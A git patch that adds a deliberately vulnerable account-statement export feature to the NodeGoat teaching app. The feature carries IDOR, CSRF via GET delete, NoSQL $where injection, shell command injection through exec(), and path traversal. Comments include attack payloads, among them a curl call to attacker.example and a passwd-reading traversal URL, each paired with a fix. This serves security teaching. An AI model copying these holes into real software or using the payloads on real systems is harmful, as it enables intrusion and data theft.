From 31fb29db5307ef0faff9fa91dc4101fc2562ebde Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 11 Aug 2026 15:29:01 +0000 Subject: [PATCH] feat: add vulnerable-by-design account statement export feature Adds a new "Statements" feature (nav link, route, controller, DAO, view) that lets a user generate, search, download, and delete exported account statements. The feature is fully wired into the app (reachable from the nav bar) and chains several OWASP Top 10 vulnerabilities across multiple files rather than a single line: - app/routes/statement.js: displayStatement/downloadStatement/ deleteStatement trust :userId and :fileName from the URL with no ownership check (A4 - IDOR / missing function level access control), and deleteStatement is a state-changing GET request (A8 - CSRF). - app/data/statement-dao.js: getAllForUser builds a MongoDB $where clause via string concatenation of the `search` query param (A1 - NoSQL injection). - app/utils/statement-export.js: exportStatementToFile shells out via child_process.exec() with the user-supplied fileName/notes concatenated into the command string (A1 - OS command injection). - app/routes/statement.js downloadStatement/deleteStatement: fileName is joined onto the export directory with no sanitization (path traversal / arbitrary file read). Each sink is documented inline with an attack example and a commented-out fix, matching the existing NodeGoat teaching style. --- .gitignore | 3 + app/data/statement-dao.js | 78 ++++++++++++++++++++++ app/routes/index.js | 8 +++ app/routes/statement.js | 121 ++++++++++++++++++++++++++++++++++ app/utils/statement-export.js | 57 ++++++++++++++++ app/views/layout.html | 2 + app/views/statement.html | 57 ++++++++++++++++ 7 files changed, 326 insertions(+) create mode 100644 app/data/statement-dao.js create mode 100644 app/routes/statement.js create mode 100644 app/utils/statement-export.js create mode 100644 app/views/statement.html diff --git a/.gitignore b/.gitignore index 4cd536b01f..4734fbeeb6 100644 --- a/.gitignore +++ b/.gitignore @@ -29,3 +29,6 @@ test/e2e/videos/ # ignore Snyk Code scanner files .dccache + +# generated statement export files (see app/utils/statement-export.js) +app/data/exports/ diff --git a/app/data/statement-dao.js b/app/data/statement-dao.js new file mode 100644 index 0000000000..80f92cae7d --- /dev/null +++ b/app/data/statement-dao.js @@ -0,0 +1,78 @@ +/* The StatementDAO must be constructed with a connected database object */ +function StatementDAO(db) { + + "use strict"; + + /* If this constructor is called without the "new" operator, "this" points + * to the global object. Log a warning and call it correctly. */ + if (false === (this instanceof StatementDAO)) { + console.log("Warning: StatementDAO constructor called without 'new' operator"); + return new StatementDAO(db); + } + + const statementsCol = db.collection("statements"); + + this.insert = (userId, fileName, notes, callback) => { + + const statement = { + userId: parseInt(userId), + fileName, + notes, + timestamp: new Date() + }; + + statementsCol.insert(statement, (err, result) => !err ? callback(null, result) : callback(err, null)); + }; + + this.getAllForUser = (userId, filters, callback) => { + const parsedUserId = parseInt(userId); + const { search } = filters || {}; + + const searchCriteria = () => { + if (search) { + /* + * VULNERABLE (A1 - NoSQL Injection): `search` is forwarded here + * from statement.js -> displayStatement, which reads it straight + * from req.query.search. It is concatenated into a MongoDB + * $where clause, which runs arbitrary JavaScript server-side + * against every document in the collection. + * + * Example payloads (as the `search` query string parameter): + * ') || ('1'=='1 -> dumps every user's statements, not just this account's + * ');return(true);(this.notes||' -> matches everything regardless of content + * ');while(true){};(' -> denial of service, blocks the event loop + * + * Fix: never build $where from user input. Use a plain field + * match / $regex instead, e.g.: + * return { userId: parsedUserId, notes: { $regex: escapeRegex(search) } }; + */ + return { + $where: `this.userId == ${parsedUserId} && this.notes.indexOf('${search}') !== -1` + }; + } + return { + userId: parsedUserId + }; + }; + + statementsCol.find(searchCriteria()).sort({ + timestamp: -1 + }).toArray((err, statements) => { + if (err) return callback(err, null); + return callback(null, statements || []); + }); + }; + + this.remove = (userId, fileName, callback) => { + // Note: this only scopes by the *URL supplied* userId, not the + // authenticated session user - see the missing ownership check in + // statement.js -> deleteStatement. + statementsCol.remove({ + userId: parseInt(userId), + fileName + }, err => callback(err, null)); + }; + +} + +module.exports = { StatementDAO }; diff --git a/app/routes/index.js b/app/routes/index.js index ced0fdc454..6ac4d171ca 100644 --- a/app/routes/index.js +++ b/app/routes/index.js @@ -6,6 +6,7 @@ const AllocationsHandler = require("./allocations"); const MemosHandler = require("./memos"); const ResearchHandler = require("./research"); const ReportsHandler = require("./reports"); +const StatementHandler = require("./statement"); const tutorialRouter = require("./tutorial"); const ErrorHandler = require("./error").errorHandler; @@ -21,6 +22,7 @@ const index = (app, db) => { const memosHandler = new MemosHandler(db); const researchHandler = new ResearchHandler(db); const reportsHandler = new ReportsHandler(); + const statementHandler = new StatementHandler(db); // Middleware to check if a user is logged in const isLoggedIn = sessionHandler.isLoggedInMiddleware; @@ -81,6 +83,12 @@ const index = (app, db) => { app.get("/reports", isLoggedIn, reportsHandler.searchEmployees); app.get("/reports/employee/:id", isLoggedIn, reportsHandler.getEmployee); + // Statements Page - export/download/delete account statements + app.get("/statement/:userId", isLoggedIn, statementHandler.displayStatement); + app.post("/statement/:userId/export", isLoggedIn, statementHandler.handleExportRequest); + app.get("/statement/:userId/download/:fileName", isLoggedIn, statementHandler.downloadStatement); + app.get("/statement/:userId/delete/:fileName", isLoggedIn, statementHandler.deleteStatement); + // Mount tutorial router app.use("/tutorial", tutorialRouter); diff --git a/app/routes/statement.js b/app/routes/statement.js new file mode 100644 index 0000000000..24808e6f89 --- /dev/null +++ b/app/routes/statement.js @@ -0,0 +1,121 @@ +const fs = require("fs"); +const path = require("path"); +const StatementDAO = require("../data/statement-dao").StatementDAO; +const { exportStatementToFile, EXPORT_DIR } = require("../utils/statement-export"); +const { + environmentalScripts +} = require("../../config/config"); + +/* The StatementHandler must be constructed with a connected db */ +function StatementHandler(db) { + "use strict"; + + const statementDAO = new StatementDAO(db); + + /* + * A4 - Missing Function Level Access Control / Insecure Direct Object + * Reference. The account whose statements are displayed is taken from the + * URL (:userId) instead of the authenticated session, and nothing checks + * that the logged-in user owns that account. Any logged-in user can view + * another user's statement history and notes just by changing the userId + * segment of the URL, e.g. /statement/1, /statement/2, /statement/3, ... + * + * Fix: + * const { userId } = req.session; + * if (parseInt(req.params.userId, 10) !== parseInt(userId, 10)) { + * return res.redirect("/dashboard"); + * } + */ + this.displayStatement = (req, res, next) => { + const { + userId + } = req.params; + const { + search + } = req.query; + + statementDAO.getAllForUser(userId, { search }, (err, statements) => { + if (err) return next(err); + + return res.render("statement", { + userId, + statements, + searchTerm: search || "", + environmentalScripts + }); + }); + }; + + this.handleExportRequest = (req, res, next) => { + const { + userId + } = req.params; + const { + fileName, + notes + } = req.body; + + statementDAO.getAllForUser(userId, {}, (err, previousStatements) => { + if (err) return next(err); + + statementDAO.insert(userId, fileName, notes, (err) => { + if (err) return next(err); + + // Sink for the OS command injection - see app/utils/statement-export.js + exportStatementToFile(fileName, notes, previousStatements, (err) => { + if (err) return next(err); + return res.redirect(`/statement/${userId}`); + }); + }); + }); + }; + + /* + * A5 - Path Traversal / Arbitrary File Read. fileName comes straight from + * the URL and is joined onto EXPORT_DIR with no validation, so "../" + * sequences escape the export directory entirely. + * + * Example: GET /statement/1/download/..%2f..%2f..%2f..%2fetc%2fpasswd + * + * Fix: strip path separators from fileName, or resolve the final path and + * verify it still starts with EXPORT_DIR before reading it. + */ + this.downloadStatement = (req, res, next) => { + const { + fileName + } = req.params; + const filePath = path.join(EXPORT_DIR, fileName); + + fs.readFile(filePath, "utf8", (err, data) => { + if (err) return next(err); + res.set("Content-Type", "text/plain"); + return res.send(data); + }); + }; + + /* + * A8 - CSRF, combined with the same missing ownership check as above. + * Deletion is a state-changing action exposed via a plain GET request with + * no CSRF token, so a forged request from another site + * (e.g. ) executes + * using the victim's authenticated session the moment they view it. + */ + this.deleteStatement = (req, res, next) => { + const { + userId, + fileName + } = req.params; + + statementDAO.remove(userId, fileName, (err) => { + if (err) return next(err); + + const filePath = path.join(EXPORT_DIR, fileName); + fs.unlink(filePath, () => { + return res.redirect(`/statement/${userId}`); + }); + }); + }; + +} + +module.exports = StatementHandler; diff --git a/app/utils/statement-export.js b/app/utils/statement-export.js new file mode 100644 index 0000000000..b7762547bb --- /dev/null +++ b/app/utils/statement-export.js @@ -0,0 +1,57 @@ +/* + * A1 - OS Command Injection + * + * This module renders an account statement to a text file on disk. Instead of + * writing the file directly (fs.writeFile), it shells out via + * child_process.exec() and builds the command string by concatenating + * user-controlled values (fileName and notes, both supplied by the client in + * statement.js -> handleExportRequest) directly into the shell command. + * + * Because exec() runs the string through /bin/sh, any shell metacharacter in + * either value breaks out of the intended command: + * + * fileName: statement"; curl http://attacker.example/$(id) # + * notes: "; touch /tmp/pwned; echo " + * + * Fix: never build shell commands from user input. Write the file directly + * with fs.writeFile (no shell involved), and separately validate fileName + * against an allow-list pattern before using it in a path: + * + * const safeName = fileName.replace(/[^a-zA-Z0-9_-]/g, ""); + * fs.writeFile(`${EXPORT_DIR}/${safeName}.txt`, body, callback); + */ + +const { exec } = require("child_process"); +const fs = require("fs"); +const path = require("path"); + +const EXPORT_DIR = path.join(__dirname, "../data/exports"); + +// Ensure the export directory exists so the app is usable out of the box +if (!fs.existsSync(EXPORT_DIR)) { + fs.mkdirSync(EXPORT_DIR, { recursive: true }); +} + +const exportStatementToFile = (fileName, notes, previousStatements, callback) => { + const filePath = `${EXPORT_DIR}/${fileName}.txt`; + + const history = (previousStatements || []) + .map(s => `- ${s.fileName}: ${s.notes}`) + .join("\n"); + + const body = `Account Statement\n=================\n${notes}\n\nPrevious statements on file:\n${history}\n` + .replace(/\n/g, "\\n"); + + // Insecure: fileName and notes (embedded in `body`) come straight from the + // request body and are interpolated into a shell command. + const command = `echo "${body}" > "${filePath}"`; + + console.log(`[statement-export] Executing: ${command}`); + + exec(command, (err) => { + if (err) return callback(err, null); + return callback(null, { filePath, fileName }); + }); +}; + +module.exports = { exportStatementToFile, EXPORT_DIR }; diff --git a/app/views/layout.html b/app/views/layout.html index c146e7715b..ed42af9304 100644 --- a/app/views/layout.html +++ b/app/views/layout.html @@ -65,6 +65,8 @@
  • Reports
    • +
  • Statements +
    • {% endif %}
  • Logout
    • diff --git a/app/views/statement.html b/app/views/statement.html new file mode 100644 index 0000000000..671ecec94b --- /dev/null +++ b/app/views/statement.html @@ -0,0 +1,57 @@ +{% extends "./layout.html" %} {% block title %}Statements{% endblock %} {% block content %} + +
    +
    + +
    +
    +

    Search Statements

    +
    +
    +
    +
    + +
    + +
    + {% if searchTerm %} +

    Showing results for: {{searchTerm}}

    + {% endif %} +
    +
    + +
    +
    +

    Export a New Statement

    +
    +
    +
    +
    + + +
    +
    + + +
    + +
    +
    +
    + + {% for statement in statements %} +
    +
    + {{statement.fileName}} — {{statement.timestamp}} +
    +
    +

    {{statement.notes}}

    + Download + Delete +
    +
    + {% endfor %} + +
    +
    +{% endblock %}